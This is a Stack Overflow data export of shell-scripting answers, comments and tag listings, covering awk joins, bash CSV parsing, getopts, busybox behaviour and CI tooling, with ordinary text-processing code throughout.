has body: To do a full outer join using any POSIX awk would be: $ cat tst.awk { key = $1 vals = $0 sub(/[^[:space:]]+[[:space:]]+/,"",vals) if ( FNR == 1 ) { nomatch[++fileNr] = vals gsub(/[^[:space:]]+/,"Null",nomatch[fileNr]) } } NR==FNR { file1[key] = vals next } { print $1, ($1 in file1 ? file1[$1] : nomatch[1]), vals delete file1[$1] } END { for ( key in file1 ) { print key, file1[key], nomatch[2] } } To test it modify your example to add lines to db.txt that don't have a shared key in app.txt and add additional fields to app.txt. It assumes that every line from each file will have the same number of fields as the first line from that file. If that's not true then add whatever logic you want to handle that. If either input file could be empty then you'd need to add logic to define how many fields should be present in the output. It also assumes that the key value is unique in each input file.
score: 2
answers question: http://stackoverflow.com/q/76659118

packer
type: Tag
tag name: packer
tags question: http://stackoverflow.com/q/76707495

http://stackoverflow.com/comment/135171014
comment on: http://stackoverflow.com/q/76664368
score: 0
type: QuestionComment
type: Comment
has text: @hakre No start.php in not modified I just removed HTML (client side) parts to make my question simple and understandable. Also I did not mention that I have errors. I dont get any errors to illustrate with picture.

http://stackoverflow.com/comment/135312509
has text: If you feel the duplicate closure of a question isn't correct please edit the question to **explain why the duplicate doesn't apply**. Don't add in comments about the close voter, etc. If you feel there is some problematic pattern with a particular user please **flag for moderator attention**. If you feel there is some discussion needed in the community please take it to [meta]
score: 1
comment on: http://stackoverflow.com/q/76593228
type: QuestionComment
type: Comment

string-concatenation
tags question: http://stackoverflow.com/q/76550372
tag name: string-concatenation
type: Tag
tags question: http://stackoverflow.com/q/78561876

http://stackoverflow.com/comment/135082624
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76616176
has text: @TimRoberts I am not sure what qsub is doing under the hood but I tried both your suggestions and they do not seem to work. So perhaps I shall just do a substitution on the var and replace all commas by semicolons or so.

http://stackoverflow.com/comment/135231854
score: 0
has text: "Route.exe" is a Windows program you try to run in a Linux environment. Why do you think this is even possible?
comment on: http://stackoverflow.com/q/76686394
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136306845
score: 0
has text: Does this answer your question? [Using getopts to process long and short command line options](https://stackoverflow.com/questions/402377/using-getopts-to-process-long-and-short-command-line-options)
type: QuestionComment
comment on: http://stackoverflow.com/q/76692218
type: Comment

http://stackoverflow.com/comment/135151380
score: 0
has text: can you suggest me how should i give the data?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76645511

http://stackoverflow.com/a/76637313
type: Answer
answers question: http://stackoverflow.com/q/76621621
has comment: http://stackoverflow.com/comment/135119853
score: 0
has body: The question is unclear. If it is a rewrite of a previous question, please make it self-contained. To “parse” a CSV file in Bash while turning its headers into array variable names and storing each column as an array, one can use “pointers” in Bash, i.e. the declare -n construct. The entire approach has major drawbacks though: A function modifies global variable state instead of merely providing output and leaving it up tho the caller to (not) process it. This is hard to debug and bad for code isolation and reusability. Changing a script’s variables based on input data is not a great idea. If you read a CSV column called PATH, for example, it becomes obvious why this is not the most secure way of data processing. Unfortunately, Bash doesn’t have a (straightforward) equivalent of a struct (other than declare -A) such that it could be nested in another array. There goes the dream of per-row CSV data representation. Storing each column in a separate array makes many inconsistent states representable, such as column arrays with different sizes. With all that↑ said, let’s read the CSV without unnecessary subshells, redirections, expensive external processes (head, tail) and without trying to assign variables “behind a pipe”, which won’t have any effect in the local (fork() parent) shell: #!/bin/bash parse_csv() { local -a headers line local header local -i index IFS=, read -ra headers for header in "${headers[@]}"; do declare -ag "${header}=()" done while IFS=, read -ra line; do for index in "${!line[@]}"; do local -n column="${headers[index]}" column+=("${line[index]}") done done } And of course we should test it using a bit of (valid) data. As noted above, handling of invalid data (i.e. correct error reporting) would be a challenge with this setup, so the whole example assumes (and contains) valid inputs only: #!/bin/bash set -euo pipefail parse_csv <<- BLAH a,b,c,d,e 1,2,3,4,5 f,g,h,i,j blah,foo,meh,bar,oops BLAH for column in {a..e}; do declare -n array="$column" pri…

http://stackoverflow.com/comment/135233530
comment on: http://stackoverflow.com/a/76704102
has text: I find these inconsistencies between "standard"-implementations confusing. Do you know by chance, which POSIX shell accepts `source`? I tried `dash` and it rejects it.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135163169
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76663609
has text: This all becomes very obvious when you look at the wire protocol spec, which only passes a single string over the wire as the command to run, instead of passing an argument vector. Because there's no argument vector, the protocol _can't_ represent an arbitrary argv unless it's escaped in a manner appropriate to the remote shell.

http://stackoverflow.com/comment/135150287
type: Comment
type: AnswerComment
has text: @RayPlays try the code I provided at the end of my answer. That one works fine for me using your example text
comment on: http://stackoverflow.com/a/76656211
score: 0

http://stackoverflow.com/comment/134978296
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76555096
has text: I have edited the question, could you please help me how to replace the password now. @KamilCuk
type: Comment

http://stackoverflow.com/comment/135196644
type: Comment
comment on: http://stackoverflow.com/q/76682292
score: 1
type: QuestionComment
has text: In this case, the stdin redirection will be `command < /dev/null`. See [here](https://stackoverflow.com/a/19956266/20307768).

http://stackoverflow.com/comment/135188578
type: QuestionComment
has text: Does this answer your question? [How can I prepend a string to the beginning of each line in a file?](https://stackoverflow.com/questions/13586349/how-can-i-prepend-a-string-to-the-beginning-of-each-line-in-a-file)
score: 0
comment on: http://stackoverflow.com/q/76679026
type: Comment

winapi
tags question: http://stackoverflow.com/q/76597816
type: Tag
tags question: http://stackoverflow.com/q/76690713
tag name: winapi
tags question: http://stackoverflow.com/q/77278879
tags question: http://stackoverflow.com/q/77277997
tags question: http://stackoverflow.com/q/78461426
tags question: http://stackoverflow.com/q/78981718
tags question: http://stackoverflow.com/q/79488056

http://stackoverflow.com/comment/135060188
score: 4
comment on: http://stackoverflow.com/q/76602700
type: QuestionComment
has text: Try : `... >> /tmp/test.txt 2> /tmp/test.err`
type: Comment

go
tags question: http://stackoverflow.com/q/76596444
tags question: http://stackoverflow.com/q/76676053
type: Tag
tag name: go
tags question: http://stackoverflow.com/q/76578209
tags question: http://stackoverflow.com/q/77319277
tags question: http://stackoverflow.com/q/77549971
tags question: http://stackoverflow.com/q/78384995
tags question: http://stackoverflow.com/q/78315651
tags question: http://stackoverflow.com/q/78521823
tags question: http://stackoverflow.com/q/78784830
tags question: http://stackoverflow.com/q/79157601
tags question: http://stackoverflow.com/q/79266920

http://stackoverflow.com/a/76681882
answers question: http://stackoverflow.com/q/76681562
score: 0
type: Answer
has body: A BashFAQ #1 while read loop lets you iterate over lines of input. Using IFS lets you split those lines into fields, so you can ignore headers. extract() { local file IFS=': ' # so we don't pollute global variable scope printf '%s\t%s\t%s\n' "TRADE_DATE" "SYMBOL" "PRICE" # print header for file; do # "$@" is the default thing to iterate over { # grouping to scope input redirection read -r _ trade_date # read everything before IFS into _ while read -r _ symbol && read -r _ price; do printf '%s\t%s\t%s\n' "$trade_date" "$symbol" "$price" done } <"$file" done } ...used as: extract file1 file2

http://stackoverflow.com/comment/135232230
comment on: http://stackoverflow.com/a/76702782
type: Comment
score: 0
type: AnswerComment
has text: I have seen people create template txt files to pass arguments between several code files if that helps

http://stackoverflow.com/comment/135029810
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76585150
has text: Are there also files in the `1111`, `2222`, etc. directories that should not be renamed?
type: Comment

http://stackoverflow.com/comment/135323153
score: 0
type: QuestionComment
type: Comment
has text: I am interested in just the first step, for now.
comment on: http://stackoverflow.com/q/76553763

amazon-emr
tags question: http://stackoverflow.com/q/76553763
tag name: amazon-emr
type: Tag

http://stackoverflow.com/comment/134963035
type: QuestionComment
comment on: http://stackoverflow.com/q/76546217
type: Comment
score: 0
has text: Is there a reason why you cannot do substantially the whole job via one `awk` pass?

http://stackoverflow.com/comment/135023317
has text: As for how to do it, I would recommend formatting the arrays as something Ruby can trivially deserialize like JSON. Alternatively, since bash and Ruby both have `eval` it wouldn't be too hard to split them up across multiple variables e.g. `A0`, `A1`, etc.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76575733

if-statement
tags question: http://stackoverflow.com/q/76579350
type: Tag
tag name: if-statement
tags question: http://stackoverflow.com/q/76795584
tags question: http://stackoverflow.com/q/77010630
tags question: http://stackoverflow.com/q/77396567
tags question: http://stackoverflow.com/q/77277362
tags question: http://stackoverflow.com/q/77239963
tags question: http://stackoverflow.com/q/77593971
tags question: http://stackoverflow.com/q/77771972
tags question: http://stackoverflow.com/q/77809158
tags question: http://stackoverflow.com/q/78579093
tags question: http://stackoverflow.com/q/78790696
tags question: http://stackoverflow.com/q/79123895
tags question: http://stackoverflow.com/q/79105586
tags question: http://stackoverflow.com/q/79544598

http://stackoverflow.com/comment/135091994
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76621621
has text: You would almoast certainly be better off doing this all in `awk` rather than `bash`.
score: 3

http://stackoverflow.com/comment/134984319
score: 0
comment on: http://stackoverflow.com/a/76558876
type: Comment
has text: ...though _capturing_ the output of the built-in `time` (and one certainly needs to use the built-in one rather than the out-of-process one to avoid discarding `read`'s result) can be a little tricky, and is maybe worth demonstrating in this answer.
type: AnswerComment

http://stackoverflow.com/comment/135207991
has text: Please edit your question and add your desired output (no description) for that sample input.
comment on: http://stackoverflow.com/q/76690391
type: QuestionComment
type: Comment
score: 0

psql
tag name: psql
tags question: http://stackoverflow.com/q/76560632
type: Tag
tags question: http://stackoverflow.com/q/77124990
tags question: http://stackoverflow.com/q/77772183
tags question: http://stackoverflow.com/q/78189007

cadence
tags question: http://stackoverflow.com/q/76615358
tag name: cadence
type: Tag

http://stackoverflow.com/comment/135021898
comment on: http://stackoverflow.com/q/76578643
type: QuestionComment
has text: if images are files, than file selection based on modification date can be done with 'find' or with some shell patterns
type: Comment
score: 0

stat
type: Tag
tag name: stat
tags question: http://stackoverflow.com/q/76664928

http://stackoverflow.com/comment/135128565
type: Comment
has text: Those dependencies are only for Cygwin on Windows; they are not correct for MacOS.
type: AnswerComment
comment on: http://stackoverflow.com/a/76643867
score: 1

http://stackoverflow.com/comment/135043787
type: Comment
type: AnswerComment
has text: `[^"]*` matches the longest possible sequence of non-quote characters, which necessarily has to stop before the `"` character. That character is then matched by the `"` after the capture group.
score: 1
comment on: http://stackoverflow.com/a/76593246

http://stackoverflow.com/comment/135039893
comment on: http://stackoverflow.com/q/76560288
type: QuestionComment
type: Comment
score: 0
has text: "i need to capture the escape sequences. i redirected the std input/output/err" so that if you done that properly, then captured escape sequences from stderr are there where they're redirected

http://stackoverflow.com/comment/135209834
comment on: http://stackoverflow.com/a/76683785
has text: Also, just running `awk -f prog.awk` without a data filename will cause awk to read from stdin; i.e., your terminal.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135108483
has text: I added a caveat about not using user-generated input.
score: 1
comment on: http://stackoverflow.com/a/76631696
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135188144
type: QuestionComment
type: Comment
has text: Your while loop is executed by a child process and hence uses its own value for `counter`. So don't pipe the output of `grep` into your loop.
score: 0
comment on: http://stackoverflow.com/q/76678432

valgrind
tags question: http://stackoverflow.com/q/76591531
tag name: valgrind
type: Tag

http://stackoverflow.com/comment/135070331
comment on: http://stackoverflow.com/q/76607874
has text: @ufopilot I thought about that (instead of a script that uses `XML::Twig`, but `xml_split` changes the name of the root element so it requires extra post processing.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135200369
score: 0
comment on: http://stackoverflow.com/a/76679163
type: Comment
has text: Hello, Thank you, it worked, but small issue, it remove all the space in between "SUSELinuxEnterpriseServerforSAPApplications15SP2 Registered" ` Installed Products :` `DesktopApplicationsModule Registered` `SUSELinuxEnterpriseServerforSAPApplications15SP2 Registered` `SUSELinuxEnterpriseHighAvailabilityExtension15SP2 Registered` could you please explain `sed -r '/^\s*$|^-|\(.*\)|^Ins/d;s/ //g'`
type: AnswerComment

http://stackoverflow.com/comment/135171376
score: 0
has text: Yes, however I didn't question that. What I was commenting about is that you need to find out, where exactly it is going wrong and then why. For me this looks like a configuration issue (if it helps). This can mean that the more interesting parts for your trouble-shooting are not shown in the question but are entirely within the environment you have. Your writing that you have not changed the code is normally a sign that other parts have changed as otherwise the behaviour would not have changed. It is just, that you have not yet identified those changes.
comment on: http://stackoverflow.com/q/76664368
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135070232
score: 0
type: QuestionComment
has text: https://metacpan.org/dist/XML-Twig/view/tools/xml_split/xml_split
comment on: http://stackoverflow.com/q/76607874
type: Comment

http://stackoverflow.com/comment/135091910
has text: You don't need `eval` to assign an array element.
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76621621

http://stackoverflow.com/comment/135128599
type: Comment
score: 0
has text: In particular, note that using the corrected line `export PATH="/Users/users/Downloads/flutter/bin:$PATH` doesn't fix the problem previously created by running `export PATH="/Users/users/Downloads/flutter/bin"` -- you need to start a new terminal window (or explicitly set a correct PATH) to make that problem go away.
comment on: http://stackoverflow.com/q/76643341
type: QuestionComment

http://stackoverflow.com/comment/135188222
has text: Your answer worked great and produced the desired output. It saved me from having to use `sed` and keeping track of another variable, so thanks for that! I did a lot of reading into `awk` because of this, but somehow, I did not come across this `sub` function. Is there an `awk` documentation that you could refer me to, so I can read more on sub and the other `awk` functions.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76669672

command
tags question: http://stackoverflow.com/q/76688062
tag name: command
type: Tag
tags question: http://stackoverflow.com/q/76576781
tags question: http://stackoverflow.com/q/76776756
tags question: http://stackoverflow.com/q/76722146
tags question: http://stackoverflow.com/q/76864756
tags question: http://stackoverflow.com/q/76943562
tags question: http://stackoverflow.com/q/77021831
tags question: http://stackoverflow.com/q/77048492
tags question: http://stackoverflow.com/q/77094897
tags question: http://stackoverflow.com/q/77525016
tags question: http://stackoverflow.com/q/77660964
tags question: http://stackoverflow.com/q/77853768
tags question: http://stackoverflow.com/q/77863732
tags question: http://stackoverflow.com/q/78036793
tags question: http://stackoverflow.com/q/77965315
tags question: http://stackoverflow.com/q/77987666
tags question: http://stackoverflow.com/q/78150678
tags question: http://stackoverflow.com/q/78393091
tags question: http://stackoverflow.com/q/78561876
tags question: http://stackoverflow.com/q/78808231
tags question: http://stackoverflow.com/q/78979654
tags question: http://stackoverflow.com/q/79043998
tags question: http://stackoverflow.com/q/79159487

http://stackoverflow.com/a/76549176
upvote count: 2
answers question: http://stackoverflow.com/q/76548820
downvote count: 0
has body: I'm confused, because there was an answer here from someone, but now it is gone? It was quite helpful. There was just a small flaw related to the directory names starting with a hypen. This worked for me: #!/bin/bash cd ./pictures for dir in *; do lat=${dir%,*} long=${dir#*, } case $lat in -*) ns=S ;; *) ns=N esac case $long in -*) ew=W ;; *) ew=E esac exiftool -F -m -overwrite_original -GPSLatitudeRef=$ns -GPSLongitudeRef=$ew -GPSLatitude=$lat -GPSLongitude=$long -- "$dir"/ done
type: Answer
score: 2

apache
tags question: http://stackoverflow.com/q/76678493
tag name: apache
type: Tag
tags question: http://stackoverflow.com/q/78152597
tags question: http://stackoverflow.com/q/79220508

http://stackoverflow.com/comment/135123315
type: Comment
type: AnswerComment
score: 0
has text: Can you paste the full error message? If the result is non zero then the code I pasted will stop the pipeline. If you are trying to stop pipeline execution due to something in the logs that does not affect the exit code then you might need to parse the output. Maybe using something like sed. PS when you paste code, its helpful to paste it in a code block.https://stackoverflow.com/editing-help#syntax-highlighting
comment on: http://stackoverflow.com/a/76635833

http://stackoverflow.com/comment/135127824
comment on: http://stackoverflow.com/q/76643341
has text: In both files ?
type: QuestionComment
type: Comment
score: 0

windows-subsystem-for-linux
type: Tag
tags question: http://stackoverflow.com/q/76686394
tag name: windows-subsystem-for-linux
tags question: http://stackoverflow.com/q/77156832
tags question: http://stackoverflow.com/q/77324724
tags question: http://stackoverflow.com/q/77461249
tags question: http://stackoverflow.com/q/77927147
tags question: http://stackoverflow.com/q/77970148
tags question: http://stackoverflow.com/q/78146724
tags question: http://stackoverflow.com/q/79104425
tags question: http://stackoverflow.com/q/79409785

http://stackoverflow.com/comment/135220407
score: 0
type: QuestionComment
type: Comment
has text: Can you show how `file_proc` is invoked within your script?
comment on: http://stackoverflow.com/q/76697805

substitution
tag name: substitution
type: Tag
tags question: http://stackoverflow.com/q/76631657
tags question: http://stackoverflow.com/q/77168035
tags question: http://stackoverflow.com/q/77284898
tags question: http://stackoverflow.com/q/77508186
tags question: http://stackoverflow.com/q/77534163
tags question: http://stackoverflow.com/q/77724679
tags question: http://stackoverflow.com/q/79183617

http://stackoverflow.com/comment/135023457
type: QuestionComment
has text: If i use python to do the same it works fine so it shouldn't have them
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76581584

http://stackoverflow.com/comment/135212665
type: QuestionComment
type: Comment
score: 0
has text: which getopt variant are you using?
comment on: http://stackoverflow.com/q/76692218

http://stackoverflow.com/comment/135203623
score: 0
has text: Hmm. 1.36.1 has several changes specific to sleep, 1.36.0 has several general ash signal-handling changes; nothing is an outright smoking gun from the changelog, but I'd certainly believe unintended side effects; lessee if a `git bisect` can run it down to an individual committish...
type: QuestionComment
comment on: http://stackoverflow.com/q/76687757
type: Comment

jenkins
tags question: http://stackoverflow.com/q/76602195
tags question: http://stackoverflow.com/q/76574168
type: Tag
tag name: jenkins
tags question: http://stackoverflow.com/q/76859636
tags question: http://stackoverflow.com/q/76947111
tags question: http://stackoverflow.com/q/76968448
tags question: http://stackoverflow.com/q/76922371
tags question: http://stackoverflow.com/q/77014035
tags question: http://stackoverflow.com/q/77083073
tags question: http://stackoverflow.com/q/77144870
tags question: http://stackoverflow.com/q/77088578
tags question: http://stackoverflow.com/q/77324426
tags question: http://stackoverflow.com/q/77308488
tags question: http://stackoverflow.com/q/77369975
tags question: http://stackoverflow.com/q/77583326
tags question: http://stackoverflow.com/q/77665898
tags question: http://stackoverflow.com/q/77629755
tags question: http://stackoverflow.com/q/77792510
tags question: http://stackoverflow.com/q/77798648
tags question: http://stackoverflow.com/q/77925434
tags question: http://stackoverflow.com/q/78085813
tags question: http://stackoverflow.com/q/77992603
tags question: http://stackoverflow.com/q/78268938
tags question: http://stackoverflow.com/q/78240515
tags question: http://stackoverflow.com/q/78480566
tags question: http://stackoverflow.com/q/78785168
tags question: http://stackoverflow.com/q/78765418
tags question: http://stackoverflow.com/q/78993535
tags question: http://stackoverflow.com/q/79147830
tags question: http://stackoverflow.com/q/79110813
tags question: http://stackoverflow.com/q/79461258

http://stackoverflow.com/comment/135089926
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76620625
has text: @KamilCuk Does it mean accutally it combines the result of `find` and `ls`?
type: Comment

http://stackoverflow.com/comment/135223724
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76696254
has text: and would you have a simple way to get a excel file matching with "creation_date","data.transactionType", "data..transactionType", "data..environment", "data.location..zoneId", "data.media.typeCode", data..postPaymentEvent.transactionDate", "id" "2023/06/16 15:55:09","val","1",2,15, "2022-12-26T16:50:00+01:00", 000-0 ,,,,, "2022-12-27T16:50:00+01:00", ,,,,, "2022-12-28T16:50:00+01:00",

sqlplus
type: Tag
tags question: http://stackoverflow.com/q/76682292
tag name: sqlplus
tags question: http://stackoverflow.com/q/76845243
tags question: http://stackoverflow.com/q/77192256
tags question: http://stackoverflow.com/q/77267237
tags question: http://stackoverflow.com/q/78055342
tags question: http://stackoverflow.com/q/78571365
tags question: http://stackoverflow.com/q/79239118
tags question: http://stackoverflow.com/q/79277621
tags question: http://stackoverflow.com/q/79541940

docker-compose
type: Tag
tags question: http://stackoverflow.com/q/76668316
tag name: docker-compose
tags question: http://stackoverflow.com/q/77039347
tags question: http://stackoverflow.com/q/77188462
tags question: http://stackoverflow.com/q/77133248
tags question: http://stackoverflow.com/q/77082012
tags question: http://stackoverflow.com/q/77815448
tags question: http://stackoverflow.com/q/77797769
tags question: http://stackoverflow.com/q/77814304
tags question: http://stackoverflow.com/q/78211856
tags question: http://stackoverflow.com/q/78408020
tags question: http://stackoverflow.com/q/78723984
tags question: http://stackoverflow.com/q/78987363
tags question: http://stackoverflow.com/q/79042535
tags question: http://stackoverflow.com/q/79100587

http://stackoverflow.com/comment/135169403
comment on: http://stackoverflow.com/q/76666744
type: QuestionComment
type: Comment
has text: In addition to above. You can try using bash.exe from the Git installation to run bash files from Windows. (C:/Program Files/Git/bin) To configure it in IntelliJ IDEA you either need to configure shell path under "Settings | Tools | Terminal | Shell Path" or create a new [Shell Script](https://www.jetbrains.com/help/idea/managing-plugins.html) run configuration and specify the path to the bash.exe here and path to your script
score: 1

http://stackoverflow.com/comment/134971507
has text: You're using `/bin/sh`, not `zsh`...
comment on: http://stackoverflow.com/q/76550372
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/134990331
score: 0
has text: with this while-loop: - If 'myscript' has finished successfully, it starts again after 1sec pause. - If unsuccessfully, then this while-loop ends. Do you mean this logic under monitor?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76561501

http://stackoverflow.com/comment/135203244
comment on: http://stackoverflow.com/q/76687757
score: 0
has text: Could you extract the busybox versions for these images so folks can test for a regression/bug between them without using Docker? (I'm assuming that `/bin/sh` in those images is busybox ash, but that might be worth confirming too).
type: QuestionComment
type: Comment

echo
tags question: http://stackoverflow.com/q/76688062
type: Tag
tag name: echo
tags question: http://stackoverflow.com/q/76872375
tags question: http://stackoverflow.com/q/77147140
tags question: http://stackoverflow.com/q/77392659
tags question: http://stackoverflow.com/q/77480910
tags question: http://stackoverflow.com/q/77554387
tags question: http://stackoverflow.com/q/77944543
tags question: http://stackoverflow.com/q/78166755
tags question: http://stackoverflow.com/q/78160403
tags question: http://stackoverflow.com/q/79197077
tags question: http://stackoverflow.com/q/79105586

http://stackoverflow.com/comment/135059279
type: QuestionComment
has text: add `set -x` before `curl ...` to see what's happening.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76602223

http://stackoverflow.com/a/76695422
answers question: http://stackoverflow.com/q/76659118
score: 0
has body: You can use join join -a1 app.txt db.txt output 5.13.0.12S Yes WLPFO5_13_0_12S WLPFO incremental 2023-07-10_11:57:51 Activated Current 5.13.0.11S Yes WLPFO5_13_0_11S WLPFO full 2023-07-10_06:37:32 Activated Previous 5.13.0.24S Yes 5.13.0.23S Yes 5.13.0.22S Yes
type: Answer

http://stackoverflow.com/a/76575601
answers question: http://stackoverflow.com/q/76575510
type: Answer
has comment: http://stackoverflow.com/comment/135013144
has body: I'd imagine you could execute a shell command from within the Ruby script printenv or env and pipe the output to a subprocess to parse everything or what you need (may need to use the 'more' flag with the env command depending on what you're looking for and the OS). Refs: Operating with shell commands: How to call shell commands from Ruby Piping subprocesses: Ruby pipes: How do I tie the output of two subprocesses together?
score: 0

http://stackoverflow.com/comment/135149815
comment on: http://stackoverflow.com/q/76656059
type: QuestionComment
score: 0
has text: What you're looking for is `$sel.Matches.Value`
type: Comment

http://stackoverflow.com/comment/135062891
has text: No, I don't think so. Where did you get that from? Perhaps that was Windows cmd.exe code, where the `@` is used to silence the output (IIRC).
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76602195

bitbucket
tags question: http://stackoverflow.com/q/76552603
tag name: bitbucket
type: Tag

kubernetes
type: Tag
tags question: http://stackoverflow.com/q/76683610
tag name: kubernetes
tags question: http://stackoverflow.com/q/76854505
tags question: http://stackoverflow.com/q/76856169
tags question: http://stackoverflow.com/q/76841948
tags question: http://stackoverflow.com/q/77171720
tags question: http://stackoverflow.com/q/77082516
tags question: http://stackoverflow.com/q/77311103
tags question: http://stackoverflow.com/q/77303110
tags question: http://stackoverflow.com/q/77330726
tags question: http://stackoverflow.com/q/77445253
tags question: http://stackoverflow.com/q/77950293
tags question: http://stackoverflow.com/q/78202789

subprocess
tags question: http://stackoverflow.com/q/76703900
tag name: subprocess
type: Tag
tags question: http://stackoverflow.com/q/76745733
tags question: http://stackoverflow.com/q/76911748
tags question: http://stackoverflow.com/q/77048492
tags question: http://stackoverflow.com/q/76928930
tags question: http://stackoverflow.com/q/77321520
tags question: http://stackoverflow.com/q/77412249
tags question: http://stackoverflow.com/q/77449756
tags question: http://stackoverflow.com/q/77466763
tags question: http://stackoverflow.com/q/77670604
tags question: http://stackoverflow.com/q/78131772
tags question: http://stackoverflow.com/q/78232787
tags question: http://stackoverflow.com/q/78482634
tags question: http://stackoverflow.com/q/78679112
tags question: http://stackoverflow.com/q/78872238
tags question: http://stackoverflow.com/q/78751532
tags question: http://stackoverflow.com/q/78859737
tags question: http://stackoverflow.com/q/78791234
tags question: http://stackoverflow.com/q/79077664

http://stackoverflow.com/comment/135211422
has text: @AnnFlus, Please accept my answer by clicking on the up-arrow to mark it useful.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76683785

http://stackoverflow.com/comment/135080750
score: 0
has text: Tcl has no such concept. However, you can embed a function in your script that simulates the interactive interpreter. https://wiki.tcl-lang.org/page/Breakpoints+in+Tcl
type: QuestionComment
comment on: http://stackoverflow.com/q/76615031
type: Comment

http://stackoverflow.com/comment/137983451
comment on: http://stackoverflow.com/a/76668361
score: 0
has text: Instead of using build scripts you can also put the following 2 lines into your `~/.bashrc` or `~/.zshrc`: `export UID=$(id -u)` and `export GID=$(id -g)` This stores the UID and GID of your current user in a variable and makes it usable in Docker related files. Advantage: makes both IDs available for several projects, not only for the one at hand. After saving call `source ~/.bashrc` to make the changes be applied, or restart your terminal.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135212711
has text: From the log, looks like script only got to the first sql call: ` records=$(sqlplus -s "$u/$p@sredb1_high" @getdata.sql "${from}" "${to}" | tail +2 | tr -d ' ')`, and never moved pass that point. If the process take lot of time, does not make sense to run it twice. Try to find a different way to find expected line count.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76682292

http://stackoverflow.com/comment/135157204
comment on: http://stackoverflow.com/q/76659118
type: QuestionComment
has text: Can `db.txt` ever be empty? Can `app.txt` ever have more than just 2 fields?
type: Comment
score: 0

gitlab-ci
tags question: http://stackoverflow.com/q/76621928
tags question: http://stackoverflow.com/q/76685165
tag name: gitlab-ci
type: Tag
tags question: http://stackoverflow.com/q/76913434
tags question: http://stackoverflow.com/q/77161387
tags question: http://stackoverflow.com/q/77192433
tags question: http://stackoverflow.com/q/77256837
tags question: http://stackoverflow.com/q/77588124
tags question: http://stackoverflow.com/q/78146721
tags question: http://stackoverflow.com/q/78727770
tags question: http://stackoverflow.com/q/78852927
tags question: http://stackoverflow.com/q/78785884
tags question: http://stackoverflow.com/q/79208308
tags question: http://stackoverflow.com/q/79118101
tags question: http://stackoverflow.com/q/79092667

ls
tag name: ls
tags question: http://stackoverflow.com/q/76664928
type: Tag
tags question: http://stackoverflow.com/q/77278413

http://stackoverflow.com/comment/135197688
type: Comment
has text: you don't have to initialize the variables, they are already 0 and you can use `NR!=1` to avoid the `next`
type: AnswerComment
comment on: http://stackoverflow.com/a/76683785
score: 1

http://stackoverflow.com/comment/135203463
type: QuestionComment
comment on: http://stackoverflow.com/q/76687757
type: Comment
score: 0
has text: Looks like the 3.17 alpine image is using `BusyBox v1.35.0 (2022-11-19 10:13:10 UTC) multi-call binary.` and the 3.18 alpine image is using `BusyBox v1.36.1 (2023-06-02 00:42:02 UTC) multi-call binary.`

http://stackoverflow.com/comment/135150178
comment on: http://stackoverflow.com/a/76656211
has text: Thanks for the quick answer but I changed the lines you said, and I get no errors, no output and the final file remains empty
type: Comment
score: 0
type: AnswerComment

kubectl
type: Tag
tags question: http://stackoverflow.com/q/76683610
tags question: http://stackoverflow.com/q/76669307
tag name: kubectl
tags question: http://stackoverflow.com/q/77171720
tags question: http://stackoverflow.com/q/77445253

autocomplete
tag name: autocomplete
tags question: http://stackoverflow.com/q/76645134
type: Tag
tags question: http://stackoverflow.com/q/79201762
tags question: http://stackoverflow.com/q/79227315
tags question: http://stackoverflow.com/q/79363107

environment-variables
tags question: http://stackoverflow.com/q/76566011
tag name: environment-variables
type: Tag
tags question: http://stackoverflow.com/q/76624545
tags question: http://stackoverflow.com/q/76575510
tags question: http://stackoverflow.com/q/76881285
tags question: http://stackoverflow.com/q/77058657
tags question: http://stackoverflow.com/q/76942752
tags question: http://stackoverflow.com/q/77147140
tags question: http://stackoverflow.com/q/77319489
tags question: http://stackoverflow.com/q/77393548
tags question: http://stackoverflow.com/q/77319277
tags question: http://stackoverflow.com/q/77350563
tags question: http://stackoverflow.com/q/77301107
tags question: http://stackoverflow.com/q/77560991
tags question: http://stackoverflow.com/q/77679111
tags question: http://stackoverflow.com/q/77731615
tags question: http://stackoverflow.com/q/77835644
tags question: http://stackoverflow.com/q/78071318
tags question: http://stackoverflow.com/q/78239304
tags question: http://stackoverflow.com/q/78231341
tags question: http://stackoverflow.com/q/78169800
tags question: http://stackoverflow.com/q/78582182
tags question: http://stackoverflow.com/q/78818520
tags question: http://stackoverflow.com/q/79157571
tags question: http://stackoverflow.com/q/79536203

http://stackoverflow.com/comment/135211603
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76690713
has text: ISharedBitmap has nothing to do with replacing thumbnails. Thumbnail system use a thumbnail cache id provided by the system https://learn.microsoft.com/en-us/windows/win32/properties/props-system-thumbnailcacheid. This id is either computed by the system (using a combo of dates, size, etc.) or given by a Shell Namespace Exension (irrelevant here). Calling SHChangeNotify(SHCNE_UPDATEITEM, etc.) should work, *provided something has really changed in date or size* or anything the system uses to determine the file has changed and the thumbnail should be recomputed.

java
tags question: http://stackoverflow.com/q/76606743
type: Tag
tag name: java
tags question: http://stackoverflow.com/q/76644366
tags question: http://stackoverflow.com/q/76778171
tags question: http://stackoverflow.com/q/76786021
